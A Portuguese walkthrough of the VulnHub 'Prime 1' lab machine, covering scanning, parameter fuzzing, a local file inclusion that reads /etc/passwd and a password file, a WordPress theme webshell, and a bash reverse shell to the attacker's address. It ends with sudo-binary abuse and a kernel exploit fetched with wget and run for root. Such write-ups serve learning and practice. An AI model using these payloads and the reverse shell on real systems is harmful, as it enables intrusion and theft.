Reconhecimento Inicial
Identificação do Alvo na Rede
Para localizar o host alvo na sub-rede local, foi utilizado o arp-scan:
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:84:b2:cc, IPv4: 192.168.158.143
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.158.1 00:50:56:c0:00:08 VMware, Inc.
192.168.158.2 00:50:56:e9:30:53 VMware, Inc.
192.168.158.159 00:0c:29:f1:4a:02 VMware, Inc.
192.168.158.254 00:50:56:e7:de:70 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.985 seconds (128.97 hosts/sec). 4 responded
O host 192.168.158.159 foi identificado como o alvo.
Varrredura de Portas TCP
┌──(root㉿kali)-[~]
└─# nmap -sT --min-rate 10000 -p- 192.168.158.159
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-03 09:24 CST
Nmap scan report for 192.168.158.159
Host is up (0.00070s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:F1:4A:02 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds
Foram encontradas duas portas abertas: SSH na porta 22 e HTTP na porta 80.
Detalhamento dos Serviços
┌──(root㉿kali)-[~]
└─# nmap -sT -sCV -p22,80 192.168.158.159
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-03 09:25 CST
Nmap scan report for 192.168.158.159
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
| 256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_ 256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HacknPentest
MAC Address: 00:0C:29:F1:4A:02 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
O servidor web roda Apache 2.4.18 em Ubuntu e o SSH utiliza OpenSSH 7.2p2.
Análise da Aplicação Web na Porta 80
Enumeração de Diretórios
Utilizando o dirsearch para encontrar diretórios e arquivos:
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.158.159/ -e* -i 200
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594
Target: http://192.168.158.159/
[09:31:55] Starting:
[09:32:09] 200 - 131B - /dev
[09:32:12] 200 - 137B - /image.php
[09:32:28] 200 - 1KB - /wordpress/wp-login.php
[09:32:28] 200 - 4KB - /wordpress/
Foram localizados os seguintes recursos: /dev, /image.php e uma instalação WordPress em /wordpress/.
Conteúdo do arquivo /dev:
hello,
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking.
Uma varredura adicional com o dirb revelou mais endpoints:
┌──(root㉿kali)-[~]
└─# dirb http://192.168.158.159/
START_TIME: Thu Apr 3 09:26:23 2025
URL_BASE: http://192.168.158.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.158.159/ ----
+ http://192.168.158.159/dev (CODE:200|SIZE:131)
+ http://192.168.158.159/index.php (CODE:200|SIZE:136)
==> DIRECTORY: http://192.168.158.159/javascript/
+ http://192.168.158.159/server-status (CODE:403|SIZE:303)
==> DIRECTORY: http://192.168.158.159/wordpress/
Ao buscar por arquivos com extensões específicas, foi localizado um arquivo de texto importante:
┌──(root㉿kali)-[~]
└─# dirb http://192.168.158.159/ -X .txt,.rar,.zip,.html
URL_BASE: http://192.168.158.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.rar,.zip,.html) [NUM = 4]
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.158.159/ ----
+ http://192.168.158.159/secret.txt (CODE:200|SIZE:412)
O conteúdo de secret.txt fornecia pistas sobre fuzzing de parâmetros PHP e referenciava um arquivo chamado location.txt como próximo passo.
Fingerprinting do WordPress
┌──(root㉿kali)-[~]
└─# whatweb -v http://192.168.158.159/wordpress/
WhatWeb report for http://192.168.158.159/wordpress/
Status : 200 OK
Title : Focus – Just another WordPress site
IP : 192.168.158.159
Summary : Apache[2.4.18], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)],
MetaGenerator[WordPress 5.2.2], PoweredBy[WordPress,WordPress,],
WordPress[5.2.2]
O WordPress identificado é a versão 5.2.2.
Exploração de Vulnerabilidades
Descoberta de Parâmetros via Fuzzing
Conforme indicado nos arquivos de dica, realizou-se fuzzing nos arquivos PHP encontrados. Utilizando o wfuzz contra o index.php:
┌──(root㉿kali)-[~/vulnhub/prime1]
└─# wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.158.159/index.php?FUZZ=location.txt
Target: http://192.168.158.159/index.php?FUZZ=location.txt
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000341: 200 8 L 42 W 334 Ch "file"
Total time: 0.465930
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 2041.077
O parâmetro file foi identificado como aceito pelo aplicativo. Isso sugere que o parâmetro pode ser usado para inclusão de arquivos arbitrários (Local File Inclusion).
Leitura de Arquivos Sensíveis via LFI
Testando a inclusão de arquivos no endpoint image.php:
http://192.168.158.159/image.php?secrettier360=/etc/passwd
O arquivo /etc/passwd foi retornado com sucesso, confirmando a vulnerabilidade de LFI. Dentre os usuários listados, a entrada de saket continha uma pista:
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
Ao inspecionar o código-fonte do image.php via wrapper PHP:
<html>
<title>HacknPentest</title>
<body>
<img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>
<?php
$segredo = $_GET['secrettier360'];
if(isset($segredo))
{
echo "finaly you got the right parameter";
echo "<br><br><br><br>";
include("$segredo");
}
?>
</html>
Lendo o arquivo password.txt no diretório do usuário saket:
http://192.168.158.159/image.php?secrettier360=/home/saket/password.txt
Conteúdo retornado: follow_the_ippsec
Acesso ao Painel do WordPress
Foram testados diversos nomes de usuário no login do WordPress: admin, root, victor e saket. O usuário victor autenticou-se com sucesso usando a senha obtida.
Obtenção de Shell Reverso
Após o login no WordPress, foi possível editar o arquivo secret.php dentro do tema ativo. O caminho do arquivo foi descoberto inspecionando as folhas de estilo (CSS) do site:
http://192.168.158.159/wordpress/wp-content/themes/twentynineteen/secret.php
Um webshell foi injetado e, em seguida, um reverse shell foi enviado ao servidro de ataque:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.158.143/1111 0>&1'
Escalação de Privilégios
Método 1 — Abuso de Binário com Sudo
Ao verificar os privilégios sudo disponíveis para o usuário atual:
www-data@ubuntu:~$ sudo -l
User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /home/saket/enc
O binário /home/saket/enc pode ser executado como root sem senha. Ao executá-lo, era solicitada uma senha interna. Utilizando uma busca por arquivos relacionados:
find / -name '*pass*' 2>/dev/null
Foi localizado o arquivo /opt/backup/server_database/backup_pass com o conteúdo:
your password for backup_database file enc is
"backup_password"
Enjoy!
Executando novamente o binário com a senha correta, foram revelados os arquivos: enc.txt, key.txt, password.txt e user.txt.
O arquivo enc.txt continha dados cifrados em AES e key.txt indicava que a chave derivava do hash MD5 da string ippsec.
Após descriptografar o conteúdo de enc.txt, uma mensagem revelava a credencial: tribute_to_ippsec. Essa senha foi utilizada para acessar a conta do saket:
www-data@ubuntu:~$ su - saket
Password: tribute_to_ippsec
$ id
uid=1001(saket) gid=1001(saket) groups=1001(saket)
Verificando os privilégios sudo do usuário saket:
saket@ubuntu:~$ sudo -l
User saket may run the following commands on ubuntu:
(root) NOPASSWD: /home/victor/undefeated_victor
O binário undefeated_victor executava um script localizado em /tmp/challenge. Criando esse script contendo /bin/bash:
saket@ubuntu:/tmp$ echo "/bin/bash" > challenge
saket@ubuntu:/tmp$ chmod +x challenge
saket@ubuntu:/tmp$ sudo /home/victor/undefeated_victor
root@ubuntu:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
Acesso root obtido com sucesso.
Método 2 — Exploitação de Kernel
Identificando a versão do kernel:
$ uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 GNU/Linux
Uma busca no SearchSploit revelou uma vulnerabilidade aplicável:
┌──(root㉿kali)-[~]
└─# searchsploit Linux ubuntu 4.10.0-28
---------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
---------------------------------------------------------------------------------------------------------------------------------------
O exploit CVE-2017-16995 foi copiado e transferido ao alvo via servidor HTTP. No host comprometido:
saket@ubuntu:/tmp$ wget http://192.168.158.143:1122/45010.c
saket@ubuntu:/tmp$ gcc 45010.c -o privesc
saket@ubuntu:/tmp$ chmod +x privesc
saket@ubuntu:/tmp$ ./privesc
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff94445064b100
[*] Leaking sock struct from ffff94447a546400
[*] Sock->sk_rcvtimeo at offset 592
[*] Cred structure at ffff94447766dc80
[*] UID from cred structure: 1001, matches the current: 1001
[*] hammering cred structure at ffff94447766dc80
[*] credentials patched, launching shell...
# id
uid=0(root) gid=0(root) groups=0(root),1001(saket)
Resumo da Exploração
A máquina Prime 1 exige uma abordagem metódica de reconhecimento e enumeração. A sequência de exploração segue o fluxo:
- Descoberta do arquivo
/devcom pistas iniciais; - Varredura de extensões com dirb para localizar
secret.txt; - Fuzzing de parâmetros com wfuzz, encontrando o parâmetro
file; - Exploração de LFI em
image.phpvia parâmetrosecrettier360para leitura de/etc/passwde obtenção de credenciais; - Autenticação no WordPress e injeção de webshell pela edição de tema;
- Escalação via binário com permissão sudo, combinando com criptografia AES;
- Alternativamente, exploração do kernel Linux 4.10.0 com o exploit CVE-2017-16995.